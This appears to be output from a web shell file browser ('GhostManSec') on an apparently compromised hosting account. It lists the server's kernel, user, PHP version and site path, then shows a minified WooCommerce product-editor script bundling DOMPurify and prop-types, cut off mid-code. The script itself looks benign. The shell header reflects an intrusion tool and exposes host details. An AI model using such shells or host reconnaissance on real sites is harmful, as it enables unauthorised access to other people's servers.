GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/saifookhan.com/wp-content/woocommerce/assets/client/admin/product-editor/index.js
/*! For license information please see index.js.LICENSE.txt */
(()=>{var e={83849:(e,t)=>{var o;!function(){"use strict";var r={}.hasOwnProperty;function n(){for(var e=[],t=0;t<arguments.length;t++){var o=arguments[t];if(o){var a=typeof o;if("string"===a||"number"===a)e.push(o);else if(Array.isArray(o)){if(o.length){var l=n.apply(null,o);l&&e.push(l)}}else if("object"===a)if(o.toString===Object.prototype.toString)for(var i in o)r.call(o,i)&&o[i]&&e.push(i);else e.push(o.toString())}}return e.join(" ")}e.exports?(n.default=n,e.exports=n):void 0===(o=function(){return n}.apply(t,[]))||(e.exports=o)}()},74944:function(e){e.exports=function(){"use strict";var e=Object.hasOwnProperty,t=Object.setPrototypeOf,o=Object.isFrozen,r=Object.getPrototypeOf,n=Object.getOwnPropertyDescriptor,a=Object.freeze,l=Object.seal,i=Object.create,c="undefined"!=typeof Reflect&&Reflect,s=c.apply,m=c.construct;s||(s=function(e,t,o){return e.apply(t,o)}),a||(a=function(e){return e}),l||(l=function(e){return e}),m||(m=function(e,t){return new(Function.prototype.bind.apply(e,[null].concat(function(e){if(Array.isArray(e)){for(var t=0,o=Array(e.length);t<e.length;t++)o[t]=e[t];return o}return Array.from(e)}(t))))});var u,d=y(Array.prototype.forEach),p=y(Array.prototype.pop),_=y(Array.prototype.push),f=y(String.prototype.toLowerCase),h=y(String.prototype.match),g=y(String.prototype.replace),b=y(String.prototype.indexOf),w=y(String.prototype.trim),E=y(RegExp.prototype.test),v=(u=TypeError,function(){for(var e=arguments.length,t=Array(e),o=0;o<e;o++)t[o]=arguments[o];return m(u,t)});function y(e){return function(t){for(var o=arguments.length,r=Array(o>1?o-1:0),n=1;n<o;n++)r[n-1]=arguments[n];return s(e,t,r)}}function k(e,r){t&&t(e,null);for(var n=r.length;n--;){var a=r[n];if("string"==typeof a){var l=f(a);l!==a&&(o(r)||(r[n]=l),a=l)}e[a]=!0}return e}function C(t){var o=i(null),r=void 0;for(r in t)s(e,t,[r])&&(o[r]=t[r]);return o}function S(e,t){for(;null!==e;){var o=n(e,t);if(o){if(o.get)return y(o.get);if("function"==typeof o.value)return y(o.value)}e=r(e)}return function(e){return console.warn("fallback value for",e),null}}var T=a(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),N=a(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),x=a(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),P=a(["animate","color-profile","cursor","discard","fedropshadow","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),I=a(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover"]),A=a(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),O=a(["#text"]),R=a(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","nonce","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","xmlns","slot"]),M=a(["accent-height","accumulate","additive","alignment-baseline","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),L=a(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),F=a(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),B=l(/\{\{[\s\S]*|[\s\S]*\}\}/gm),D=l(/<%[\s\S]*|[\s\S]*%>/gm),V=l(/^data-[\-\w.\u00B7-\uFFFF]/),z=l(/^aria-[\-\w]+$/),H=l(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),U=l(/^(?:\w+script|data):/i),$=l(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),j=l(/^html$/i),W="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};function G(e){if(Array.isArray(e)){for(var t=0,o=Array(e.length);t<e.length;t++)o[t]=e[t];return o}return Array.from(e)}var q=function(){return"undefined"==typeof window?null:window},J=function(e,t){if("object"!==(void 0===e?"undefined":W(e))||"function"!=typeof e.createPolicy)return null;var o=null,r="data-tt-policy-suffix";t.currentScript&&t.currentScript.hasAttribute(r)&&(o=t.currentScript.getAttribute(r));var n="dompurify"+(o?"#"+o:"");try{return e.createPolicy(n,{createHTML:function(e){return e}})}catch(e){return console.warn("TrustedTypes policy "+n+" could not be created."),null}};return function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:q(),o=function(t){return e(t)};if(o.version="2.3.6",o.removed=[],!t||!t.document||9!==t.document.nodeType)return o.isSupported=!1,o;var r=t.document,n=t.document,l=t.DocumentFragment,i=t.HTMLTemplateElement,c=t.Node,s=t.Element,m=t.NodeFilter,u=t.NamedNodeMap,y=void 0===u?t.NamedNodeMap||t.MozNamedAttrMap:u,K=t.HTMLFormElement,Y=t.DOMParser,X=t.trustedTypes,Z=s.prototype,Q=S(Z,"cloneNode"),ee=S(Z,"nextSibling"),te=S(Z,"childNodes"),oe=S(Z,"parentNode");if("function"==typeof i){var re=n.createElement("template");re.content&&re.content.ownerDocument&&(n=re.content.ownerDocument)}var ne=J(X,r),ae=ne?ne.createHTML(""):"",le=n,ie=le.implementation,ce=le.createNodeIterator,se=le.createDocumentFragment,me=le.getElementsByTagName,ue=r.importNode,de={};try{de=C(n).documentMode?n.documentMode:{}}catch(e){}var pe={};o.isSupported="function"==typeof oe&&ie&&void 0!==ie.createHTMLDocument&&9!==de;var _e=B,fe=D,he=V,ge=z,be=U,we=$,Ee=H,ve=null,ye=k({},[].concat(G(T),G(N),G(x),G(I),G(O))),ke=null,Ce=k({},[].concat(G(R),G(M),G(L),G(F))),Se=Object.seal(Object.create(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),Te=null,Ne=null,xe=!0,Pe=!0,Ie=!1,Ae=!1,Oe=!1,Re=!1,Me=!1,Le=!1,Fe=!1,Be=!1,De=!0,Ve=!0,ze=!1,He={},Ue=null,$e=k({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),je=null,We=k({},["audio","video","img","source","image","track"]),Ge=null,qe=k({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),Je="http://www.w3.org/1998/Math/MathML",Ke="http://www.w3.org/2000/svg",Ye="http://www.w3.org/1999/xhtml",Xe=Ye,Ze=!1,Qe=void 0,et=["application/xhtml+xml","text/html"],tt="text/html",ot=void 0,rt=null,nt=n.createElement("form"),at=function(e){return e instanceof RegExp||e instanceof Function},lt=function(e){rt&&rt===e||(e&&"object"===(void 0===e?"undefined":W(e))||(e={}),e=C(e),ve="ALLOWED_TAGS"in e?k({},e.ALLOWED_TAGS):ye,ke="ALLOWED_ATTR"in e?k({},e.ALLOWED_ATTR):Ce,Ge="ADD_URI_SAFE_ATTR"in e?k(C(qe),e.ADD_URI_SAFE_ATTR):qe,je="ADD_DATA_URI_TAGS"in e?k(C(We),e.ADD_DATA_URI_TAGS):We,Ue="FORBID_CONTENTS"in e?k({},e.FORBID_CONTENTS):$e,Te="FORBID_TAGS"in e?k({},e.FORBID_TAGS):{},Ne="FORBID_ATTR"in e?k({},e.FORBID_ATTR):{},He="USE_PROFILES"in e&&e.USE_PROFILES,xe=!1!==e.ALLOW_ARIA_ATTR,Pe=!1!==e.ALLOW_DATA_ATTR,Ie=e.ALLOW_UNKNOWN_PROTOCOLS||!1,Ae=e.SAFE_FOR_TEMPLATES||!1,Oe=e.WHOLE_DOCUMENT||!1,Le=e.RETURN_DOM||!1,Fe=e.RETURN_DOM_FRAGMENT||!1,Be=e.RETURN_TRUSTED_TYPE||!1,Me=e.FORCE_BODY||!1,De=!1!==e.SANITIZE_DOM,Ve=!1!==e.KEEP_CONTENT,ze=e.IN_PLACE||!1,Ee=e.ALLOWED_URI_REGEXP||Ee,Xe=e.NAMESPACE||Ye,e.CUSTOM_ELEMENT_HANDLING&&at(e.CUSTOM_ELEMENT_HANDLING.tagNameCheck)&&(Se.tagNameCheck=e.CUSTOM_ELEMENT_HANDLING.tagNameCheck),e.CUSTOM_ELEMENT_HANDLING&&at(e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(Se.attributeNameCheck=e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),e.CUSTOM_ELEMENT_HANDLING&&"boolean"==typeof e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements&&(Se.allowCustomizedBuiltInElements=e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements),Qe=Qe=-1===et.indexOf(e.PARSER_MEDIA_TYPE)?tt:e.PARSER_MEDIA_TYPE,ot="application/xhtml+xml"===Qe?function(e){return e}:f,Ae&&(Pe=!1),Fe&&(Le=!0),He&&(ve=k({},[].concat(G(O))),ke=[],!0===He.html&&(k(ve,T),k(ke,R)),!0===He.svg&&(k(ve,N),k(ke,M),k(ke,F)),!0===He.svgFilters&&(k(ve,x),k(ke,M),k(ke,F)),!0===He.mathMl&&(k(ve,I),k(ke,L),k(ke,F))),e.ADD_TAGS&&(ve===ye&&(ve=C(ve)),k(ve,e.ADD_TAGS)),e.ADD_ATTR&&(ke===Ce&&(ke=C(ke)),k(ke,e.ADD_ATTR)),e.ADD_URI_SAFE_ATTR&&k(Ge,e.ADD_URI_SAFE_ATTR),e.FORBID_CONTENTS&&(Ue===$e&&(Ue=C(Ue)),k(Ue,e.FORBID_CONTENTS)),Ve&&(ve["#text"]=!0),Oe&&k(ve,["html","head","body"]),ve.table&&(k(ve,["tbody"]),delete Te.tbody),a&&a(e),rt=e)},it=k({},["mi","mo","mn","ms","mtext"]),ct=k({},["foreignobject","desc","title","annotation-xml"]),st=k({},N);k(st,x),k(st,P);var mt=k({},I);k(mt,A);var ut=function(e){var t=oe(e);t&&t.tagName||(t={namespaceURI:Ye,tagName:"template"});var o=f(e.tagName),r=f(t.tagName);if(e.namespaceURI===Ke)return t.namespaceURI===Ye?"svg"===o:t.namespaceURI===Je?"svg"===o&&("annotation-xml"===r||it[r]):Boolean(st[o]);if(e.namespaceURI===Je)return t.namespaceURI===Ye?"math"===o:t.namespaceURI===Ke?"math"===o&&ct[r]:Boolean(mt[o]);if(e.namespaceURI===Ye){if(t.namespaceURI===Ke&&!ct[r])return!1;if(t.namespaceURI===Je&&!it[r])return!1;var n=k({},["title","style","font","a","script"]);return!mt[o]&&(n[o]||!st[o])}return!1},dt=function(e){_(o.removed,{element:e});try{e.parentNode.removeChild(e)}catch(t){try{e.outerHTML=ae}catch(t){e.remove()}}},pt=function(e,t){try{_(o.removed,{attribute:t.getAttributeNode(e),from:t})}catch(e){_(o.removed,{attribute:null,from:t})}if(t.removeAttribute(e),"is"===e&&!ke[e])if(Le||Fe)try{dt(t)}catch(e){}else try{t.setAttribute(e,"")}catch(e){}},_t=function(e){var t=void 0,o=void 0;if(Me)e="<remove></remove>"+e;else{var r=h(e,/^[\r\n\t ]+/);o=r&&r[0]}"application/xhtml+xml"===Qe&&(e='<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>'+e+"</body></html>");var a=ne?ne.createHTML(e):e;if(Xe===Ye)try{t=(new Y).parseFromString(a,Qe)}catch(e){}if(!t||!t.documentElement){t=ie.createDocument(Xe,"template",null);try{t.documentElement.innerHTML=Ze?"":a}catch(e){}}var l=t.body||t.documentElement;return e&&o&&l.insertBefore(n.createTextNode(o),l.childNodes[0]||null),Xe===Ye?me.call(t,Oe?"html":"body")[0]:Oe?t.documentElement:l},ft=function(e){return ce.call(e.ownerDocument||e,e,m.SHOW_ELEMENT|m.SHOW_COMMENT|m.SHOW_TEXT,null,!1)},ht=function(e){return e instanceof K&&("string"!=typeof e.nodeName||"string"!=typeof e.textContent||"function"!=typeof e.removeChild||!(e.attributes instanceof y)||"function"!=typeof e.removeAttribute||"function"!=typeof e.setAttribute||"string"!=typeof e.namespaceURI||"function"!=typeof e.insertBefore)},gt=function(e){return"object"===(void 0===c?"undefined":W(c))?e instanceof c:e&&"object"===(void 0===e?"undefined":W(e))&&"number"==typeof e.nodeType&&"string"==typeof e.nodeName},bt=function(e,t,r){pe[e]&&d(pe[e],(function(e){e.call(o,t,r,rt)}))},wt=function(e){var t=void 0;if(bt("beforeSanitizeElements",e,null),ht(e))return dt(e),!0;if(h(e.nodeName,/[\u0080-\uFFFF]/))return dt(e),!0;var r=ot(e.nodeName);if(bt("uponSanitizeElement",e,{tagName:r,allowedTags:ve}),!gt(e.firstElementChild)&&(!gt(e.content)||!gt(e.content.firstElementChild))&&E(/<[/\w]/g,e.innerHTML)&&E(/<[/\w]/g,e.textContent))return dt(e),!0;if("select"===r&&E(/<template/i,e.innerHTML))return dt(e),!0;if(!ve[r]||Te[r]){if(!Te[r]&&vt(r)){if(Se.tagNameCheck instanceof RegExp&&E(Se.tagNameCheck,r))return!1;if(Se.tagNameCheck instanceof Function&&Se.tagNameCheck(r))return!1}if(Ve&&!Ue[r]){var n=oe(e)||e.parentNode,a=te(e)||e.childNodes;if(a&&n)for(var l=a.length-1;l>=0;--l)n.insertBefore(Q(a[l],!0),ee(e))}return dt(e),!0}return e instanceof s&&!ut(e)?(dt(e),!0):"noscript"!==r&&"noembed"!==r||!E(/<\/no(script|embed)/i,e.innerHTML)?(Ae&&3===e.nodeType&&(t=e.textContent,t=g(t,_e," "),t=g(t,fe," "),e.textContent!==t&&(_(o.removed,{element:e.cloneNode()}),e.textContent=t)),bt("afterSanitizeElements",e,null),!1):(dt(e),!0)},Et=function(e,t,o){if(De&&("id"===t||"name"===t)&&(o in n||o in nt))return!1;if(Pe&&!Ne[t]&&E(he,t));else if(xe&&E(ge,t));else if(!ke[t]||Ne[t]){if(!(vt(e)&&(Se.tagNameCheck instanceof RegExp&&E(Se.tagNameCheck,e)||Se.tagNameCheck instanceof Function&&Se.tagNameCheck(e))&&(Se.attributeNameCheck instanceof RegExp&&E(Se.attributeNameCheck,t)||Se.attributeNameCheck instanceof Function&&Se.attributeNameCheck(t))||"is"===t&&Se.allowCustomizedBuiltInElements&&(Se.tagNameCheck instanceof RegExp&&E(Se.tagNameCheck,o)||Se.tagNameCheck instanceof Function&&Se.tagNameCheck(o))))return!1}else if(Ge[t]);else if(E(Ee,g(o,we,"")));else if("src"!==t&&"xlink:href"!==t&&"href"!==t||"script"===e||0!==b(o,"data:")||!je[e])if(Ie&&!E(be,g(o,we,"")));else if(o)return!1;return!0},vt=function(e){return e.indexOf("-")>0},yt=function(e){var t=void 0,r=void 0,n=void 0,a=void 0;bt("beforeSanitizeAttributes",e,null);var l=e.attributes;if(l){var i={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:ke};for(a=l.length;a--;){var c=t=l[a],s=c.name,m=c.namespaceURI;if(r=w(t.value),n=ot(s),i.attrName=n,i.attrValue=r,i.keepAttr=!0,i.forceKeepAttr=void 0,bt("uponSanitizeAttribute",e,i),r=i.attrValue,!i.forceKeepAttr&&(pt(s,e),i.keepAttr))if(E(/\/>/i,r))pt(s,e);else{Ae&&(r=g(r,_e," "),r=g(r,fe," "));var u=ot(e.nodeName);if(Et(u,n,r))try{m?e.setAttributeNS(m,s,r):e.setAttribute(s,r),p(o.removed)}catch(e){}}}bt("afterSanitizeAttributes",e,null)}},kt=function e(t){var o=void 0,r=ft(t);for(bt("beforeSanitizeShadowDOM",t,null);o=r.nextNode();)bt("uponSanitizeShadowNode",o,null),wt(o)||(o.content instanceof l&&e(o.content),yt(o));bt("afterSanitizeShadowDOM",t,null)};return o.sanitize=function(e,n){var a=void 0,i=void 0,s=void 0,m=void 0,u=void 0;if((Ze=!e)&&(e="\x3c!--\x3e"),"string"!=typeof e&&!gt(e)){if("function"!=typeof e.toString)throw v("toString is not a function");if("string"!=typeof(e=e.toString()))throw v("dirty is not a string, aborting")}if(!o.isSupported){if("object"===W(t.toStaticHTML)||"function"==typeof t.toStaticHTML){if("string"==typeof e)return t.toStaticHTML(e);if(gt(e))return t.toStaticHTML(e.outerHTML)}return e}if(Re||lt(n),o.removed=[],"string"==typeof e&&(ze=!1),ze){if(e.nodeName){var d=ot(e.nodeName);if(!ve[d]||Te[d])throw v("root node is forbidden and cannot be sanitized in-place")}}else if(e instanceof c)1===(i=(a=_t("\x3c!----\x3e")).ownerDocument.importNode(e,!0)).nodeType&&"BODY"===i.nodeName||"HTML"===i.nodeName?a=i:a.appendChild(i);else{if(!Le&&!Ae&&!Oe&&-1===e.indexOf("<"))return ne&&Be?ne.createHTML(e):e;if(!(a=_t(e)))return Le?null:Be?ae:""}a&&Me&&dt(a.firstChild);for(var p=ft(ze?e:a);s=p.nextNode();)3===s.nodeType&&s===m||wt(s)||(s.content instanceof l&&kt(s.content),yt(s),m=s);if(m=null,ze)return e;if(Le){if(Fe)for(u=se.call(a.ownerDocument);a.firstChild;)u.appendChild(a.firstChild);else u=a;return ke.shadowroot&&(u=ue.call(r,u,!0)),u}var _=Oe?a.outerHTML:a.innerHTML;return Oe&&ve["!doctype"]&&a.ownerDocument&&a.ownerDocument.doctype&&a.ownerDocument.doctype.name&&E(j,a.ownerDocument.doctype.name)&&(_="<!DOCTYPE "+a.ownerDocument.doctype.name+">\n"+_),Ae&&(_=g(_,_e," "),_=g(_,fe," ")),ne&&Be?ne.createHTML(_):_},o.setConfig=function(e){lt(e),Re=!0},o.clearConfig=function(){rt=null,Re=!1},o.isValidAttribute=function(e,t,o){rt||lt({});var r=ot(e),n=ot(t);return Et(r,n,o)},o.addHook=function(e,t){"function"==typeof t&&(pe[e]=pe[e]||[],_(pe[e],t))},o.removeHook=function(e){pe[e]&&p(pe[e])},o.removeHooks=function(e){pe[e]&&(pe[e]=[])},o.removeAllHooks=function(){pe={}},o}()}()},31772:(e,t,o)=>{"use strict";var r=o(25148);function n(){}function a(){}a.resetWarningCache=n,e.exports=function(){function e(e,t,o,n,a,l){if(l!==r){var i=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw i.name="Invariant Violation",i}}function t(){return e}e.isRequired=e;var o={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:a,resetWarningCache:n};return o.PropTypes=o,o}},7862:(e,t,o)=>{e.exports=o(31772)()},25148:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"}},t={};function o(r){var n=t[r];if(void 0!==n)return n.exports;var a=t[r]={exports:{}};return e[r].call(a.exports,a,a.exports,o),a.exports}o.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return o.d(t,{a:t}),t},o.d=(e,t)=>{for(var r in t)o.o(t,r)&&!o.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),o.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var r={};(()=>{"use strict";o.r(r),o.d(r,{AUTO_DRAFT_NAME:()=>O,AddNewShippingClassModal:()=>qo,DETAILS_SECTION_ID:()=>T,NEW_PRODUCT_MANAGEMENT_ENABLED_OPTION_NAME:()=>k,PRODUCT_STATUS_LABELS:()=>_n,TAB_GENERAL_ID:()=>S,__experimentalAttributeControl:()=>Xr,__experimentalAttributes:()=>Qr,__experimentalBlockIcon:()=>Do,__experimentalDetailsCategoriesField:()=>ee,__experimentalDetailsDescriptionField:()=>re,__experimentalDetailsFeatureField:()=>D,__experimentalDetailsNameField:()=>F,__experimentalDetailsSummaryField:()=>oe,__experimentalEditor:()=>Xe,__experimentalInitBlocks:()=>rn,__experimentalProductFieldSection:()=>s,__experimentalProductMVPCESFooter:()=>an,__experimentalProductMVPFeedbackModal:()=>mn,__experimentalProductMVPFeedbackModalContainer:()=>un,__experimentalProductSectionLayout:()=>i,__experimentalShippingDimensionsImage:()=>or,__experimentalUseCurrencyInputProps:()=>lo,__experimentalUseProductHelper:()=>L,__experimentalUseProductMVPCESFooter:()=>Pn,__experimentalUseVariationsOrder:()=>Rn,__experimentalWooProductFieldItem:()=>f,__experimentalWooProductMoreMenuItem:()=>le,__experimentalWooProductSectionItem:()=>h,__experimentalWooProductTabItem:()=>g,createOrderedChildren:()=>u,formatCurrencyDisplayValue:()=>io,getCheckboxTracks:()=>B,getCurrencySymbolProps:()=>dn,getDerivedProductType:()=>A,getHeaderTitle:()=>Re,getProductStatus:()=>fn,getProductStockStatus:()=>wn,getProductStockStatusClass:()=>En,getProductTitle:()=>vn,getProductVariationTitle:()=>yn,getTruncatedProductVariationTitle:()=>kn,initBlock:()=>Qe,preventLeavingProductForm:()=>Cn,productApiFetchMiddleware:()=>Nn,sift:()=>Zr,sortFillsByOrder:()=>d,useValidation:()=>Gt,useValidations:()=>De});var e={};o.r(e),o.d(e,{disableComplementaryArea:()=>ke,enableComplementaryArea:()=>ye,pinItem:()=>Ce,setFeatureDefaults:()=>xe,setFeatureValue:()=>Ne,toggleFeature:()=>Te,unpinItem:()=>Se});var t={};o.r(t),o.d(t,{getActiveComplementaryArea:()=>Pe,isFeatureActive:()=>Ae,isItemPinned:()=>Ie});var n={};o.r(n),o.d(n,{attributesInit:()=>on,initCategory:()=>rt,initCheckbox:()=>mt,initCollapsible:()=>_t,initConditional:()=>bt,initDescription:()=>Dt,initImages:()=>$t,initInventoryQuantity:()=>Ir,initLowStockQty:()=>Yt,initName:()=>no,initPricing:()=>uo,initRadio:()=>bo,initRegularPrice:()=>ko,initSalePrice:()=>xo,initScheduleSale:()=>Fo,initSection:()=>Uo,initShippingClass:()=>er,initShippingDimensions:()=>lr,initSku:()=>eo,initSummary:()=>br,initTab:()=>Sr,initToggle:()=>Lr});const a=window.wp.element,l=window.wc.components,i=e=>{let{title:t,description:o,className:r,children:n}=e;return(0,a.createElement)(l.FormSection,{title:t,description:o,className:r},a.Children.map(n,(e=>(0,a.isValidElement)(e)&&e.props.onChange?(0,a.createElement)("div",{className:"product-field-layout"},e):e)))},c=window.wp.components,s=e=>{let{id:t,title:o,description:r,className:n,children:s}=e;return(0,a.createElement)(i,{title:o,description:r,className:n},(0,a.createElement)(c.Card,null,(0,a.createElement)(c.CardBody,null,s,(0,a.createElement)(l.__experimentalWooProductFieldItem.Slot,{section:t}))))},m=window.React;function u(e,t,o,r){const{children:n,props:l}=function(e,t,o,r){if("function"==typeof e)return{children:e({...o,order:t,...r}),props:{order:t,...r}};if((0,m.isValidElement)(e))return"function"==typeof(null==e?void 0:e.type)?{children:e,props:{...o,order:t,...r}}:{children:e,props:{order:t,...r}};throw Error("Invalid children type")}(e,t,o,r);return(0,a.cloneElement)(n,l)}const d=e=>{const t=[...e].sort(((e,t)=>e[0].props.order-t[0].props.order));return(0,a.createElement)(m.Fragment,null,t)},p=20,_=e=>{let{fieldName:t,sectionName:o,order:r,children:n}=e;const{registerFill:i,getFillHelpers:s}=(0,l.useSlotContext)(),m=`product_field/${o}/${t}`;return(0,a.useEffect)((()=>{i(m)}),[]),(0,a.createElement)(c.Fill,{name:`woocommerce_product_field_${o}`,key:m},(e=>u(n,r,{sectionName:o,...e,...s()},{_id:m})))},f=e=>{let{children:t,sections:o,id:r}=e;return(0,a.createElement)(a.Fragment,null,o.map((e=>{let{name:o,order:n=p}=e;return(0,a.createElement)(_,{fieldName:r,sectionName:o,order:n,key:o},t)})))};f.Slot=e=>{let{fillProps:t,section:o}=e;const{filterRegisteredFills:r}=(0,l.useSlotContext)();return(0,a.createElement)(c.Slot,{name:`woocommerce_product_field_${o}`,fillProps:t},(e=>{var t;return d?a.Children.map(null===(t=d(r(e)))||void 0===t?void 0:t.props.children,(e=>(0,a.createElement)("div",{className:"woocommerce-product-form__field"},e))):null}))};const h=e=>{let{children:t,tabs:o}=e;return(0,a.createElement)(a.Fragment,null,o.map((e=>{let{name:o,order:r}=e;return(0,a.createElement)(c.Fill,{name:`woocommerce_product_section_${o}`,key:o},(e=>u(t,r||20,{tabName:o,...e})))})))};h.Slot=e=>{let{fillProps:t,tab:o}=e;return(0,a.createElement)(c.Slot,{name:`woocommerce_product_section_${o}`,fillProps:t},(e=>d?d(e):null))};const g=e=>{let{children:t,tabProps:o,templates:r}=e;return r?(0,a.createElement)(a.Fragment,null,r.map((e=>(0,a.createElement)(c.Fill,{name:`woocommerce_product_tab_${e.name}`,key:e.name},(r=>u(t,e.order||20,{},{tabProps:o,templateName:e.name,order:e.order||20,...r})))))):(console.warn("WooProductTabItem fill is missing templates property."),null)};g.Slot=e=>{let{fillProps:t,template:o,children:r}=e;return(0,a.createElement)(c.Slot,{name:`woocommerce_product_tab_${o}`,fillProps:t},(e=>{const o=e.reduce(((e,o)=>{let{childrenMap:r,tabs:n}=e;var a;const l=o[0].props;if(l&&l.tabProps){r[l.tabProps.name]=o[0];const e="function"==typeof 